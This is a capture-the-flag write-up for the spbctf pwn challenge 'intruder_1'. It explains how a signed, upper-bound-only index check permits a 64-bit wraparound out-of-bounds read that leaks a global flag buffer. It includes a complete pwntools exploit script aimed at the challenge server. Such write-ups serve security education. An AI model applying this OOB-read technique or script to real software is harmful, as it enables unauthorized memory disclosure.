pwn5 intruder_1
pwn5 intruder_1
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: global_flag_leak, hex_qword_decode, integer_wraparound_oob_read, signed_index_bypass
Summary
Task: NON-PIE room reservation pwn with an order/view array indexed by a signed 64-bit value, bounded only by a signed upper-bound check cmp idx,0xff; jg. Solution: bypass the bound with a 64-bit wraparound index idx=(flag-rooms)/8 - 2^61 (negative, passes jg) so rooms+idx*8 ≡ flag global (mod 2^64), then read four %016llX qwords and decode them little-endian to reconstruct the flag.
pwn5 intruder_1 — pwn_spbctf
Description
Here is room reservation service
Author: Artur Khanov (@awengar). Category www, tier pwn5. Remote:
nc 109.233.56.90 11691
A NON-PIE x86-64 ELF (intruder_1.elf) implements a room reservation service.
At startup it loads flag.txt into a global buffer, then offers a menu loop to
order (write into a rooms array) and view (read from it). The goal is to leak
the flag global through an out-of-bounds read.
Analysis
Binary properties: NON-PIE (base 0x400000), NX, Partial RELRO, no stack
canary, not stripped.
main @ 0x4011a6:
fopen("flag.txt","r")→fread(flag@0x4048a0, 1, 0x400, fp)→ the flag text is loaded into the global bufferflag@0x4048a0.- Menu loop, 10 iterations,
fgets(cmd, 0x40):order\n:scanf("%lld")→idx(signed 64-bit) at[rbp-0x58];cmp idx,0xff; jg(only an upper bound, SIGNED);scanf("%llx")writes an 8-byte hex value intorooms[idx](rooms@0x4040a0 + idx*8).view\n:scanf("%lld")→idx; samecmp idx,0xff; jg; readsval = rooms[idx]; ifval != 0, printsprintf("Ordered by: %016llX\n", val).
The bug
The index bound is cmp rax,0xff; jg — a signed, upper-bound-only check.
There is no lower bound, and the comparison is signed, so any negative index
passes. This gives an OOB read (view) and OOB write (order) relative to
rooms@0x4040a0.
Key insight
The flag global sits at 0x4048a0 = rooms + 0x800 = rooms[256]. The obvious
idx=256 is blocked by > 255. Also note view prints the raw cell with
%016llX, not %s — so storing a pointer and dereferencing it as a string is
not available. Instead, we leak the flag bytes directly by computing an index
that maps onto the flag global.
Use 64-bit index wraparound. The address computation rooms + idx*8 is done
in 64-bit arithmetic. Pick:
idx0 = 256 - 2^61 = -2305843009213693696
This is negative, so it passes jg 0xff. Yet:
idx0 * 8 (mod 2^64) = (256 - 2^61) * 8 = 0x800 (the 2^64 term vanishes mod 2^64)
rooms + idx0*8 (mod 2^64) = 0x4040a0 + 0x800 = 0x4048a0 = flag global
So view with idx0 reads the first qword of the flag. Incrementing the index
by 1 per iteration walks the flag 8 bytes at a time; four view reads cover the
~32-byte flag string. Each %016llX qword is a little-endian 8-byte chunk of the
flag, so decode each leaked value with struct.pack('<Q', val) and concatenate.
The flag bytes are nonzero text, so the if val != 0 guard passes.
Solution
For i in 0..9: send view, then idx = idx0 + i (decimal). Parse every
Ordered by: %016llX line, pack each value little-endian, concatenate, and trim
at the first NUL to recover the flag.
python read-only • copy allowed#!/usr/bin/env python3 # pwn5_intruder_1 (spbctf) -- signed OOB-read via index wraparound. # # Bug: order/view read idx as %lld (signed 64-bit) then check `cmp rax,0xff; jg`. # Only an UPPER bound, and SIGNED -> any negative idx passes. # VIEW: prints *(rooms + idx*8) via printf("Ordered by: %016llX\n", val). # # flag@0x4048a0, rooms@0x4040a0 => flag = rooms + 0x800 = rooms[256] (blocked by >255). # But idx*8 is 64-bit: pick idx0 = 256 - 2^61 (a large NEGATIVE number => passes jg255). # Then (rooms + idx0*8) mod 2^64 == 0x4048a0 exactly. idx0+i advances 8 bytes/step. from pwn import * import struct, re, time HOST, PORT = "109.233.56.90", 11691 IDX0 = 256 - (1 << 61) # -2305843009213693696 def solve(): io = remote(HOST, PORT, timeout=15) time.sleep(0.4); io.recvrepeat(1.0) for i in range(10): io.sendline(b'view') io.sendline(str(IDX0 + i).encode()) time.sleep(1.0) out = io.recvrepeat(2.0) io.close() data = b'' for m in re.findall(rb'Ordered by:\s*([0-9A-Fa-f]+)', out): data += struct.pack('<Q', int(m, 16)) return data if __name__ == "__main__": context.log_level = 'error' for attempt in range(20): try: data = solve() if b'CTF{' in data or b'ctf{' in data: flag = data.split(b'\x00')[0].decode('latin1').strip() print("FLAG:", flag) break print("partial:", data) except Exception as e: print("attempt", attempt, "failed:", e) time.sleep(35)